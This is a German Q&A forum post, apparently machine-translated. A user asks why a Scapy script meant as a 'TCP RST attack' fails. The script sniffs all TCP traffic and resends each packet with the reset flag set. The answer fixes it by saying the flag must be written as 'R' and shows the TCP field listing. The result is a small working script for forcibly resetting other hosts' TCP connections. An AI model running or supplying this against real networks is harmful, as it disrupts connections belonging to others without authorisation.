2016-06-05 10 views
2

Ich habe versucht, TCP RST atack mit Scapy zu schreiben, aber mein Code funktioniert nicht. Bitte helfen Sie mir, mein Problem zu lösen.Scapy TCP RST atack

 from scapy.all import * 

    def poison(packet): 
     packet[TCP].flags='RST' 
     sendp(packet) 

    sniff(filter='tcp',prn=poison) 

Es ist etwas falsch mit flags, ich think.There ist ein Fehler:

Traceback (most recent call last):
File "Univer.py", line 6, in sniff(filter='tcp',prn=poison)
File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 559, in sniff r = prn(p)
File "Univer.py", line 3, in poison packet[TCP].flags='RST'
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 186, in setattr self.setfieldval(attr,val)
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 175, in setfieldval self.fields[attr] = any2i(self, val)
File "/usr/lib/pymodules/python2.6/scapy/fields.py", line 785, in any2i y |= 1 << self.names.index(i)

ValueError: substring not found

Antwort

2

Der richtige Weg, um die TCP-Flags in scapy zu setzen, ist die kurze (ein Buchstabe) Form packet[TCP].flags = 'R' zu verwenden. Mit der aktuellen Entwicklungsversion von Scapy erhalten Sie die akzeptierten Flags mit ls():

>>> ls(TCP, verbose=True) 
sport   : ShortEnumField   = (20) 
dport  : ShortEnumField   = (80) 
seq   : IntField       = (0) 
ack   : IntField       = (0) 
dataofs : BitField (4 bits)    = (None) 
reserved : BitField (3 bits)    = (0) 
flags   : FlagsField (9 bits)   = (2) 
       F, S, R, P, A, U, E, C, N 
window : ShortField      = (8192) 
chksum : XShortField      = (None) 
urgptr  : ShortField      = (0) 
options  : TCPOptionsField   = ({})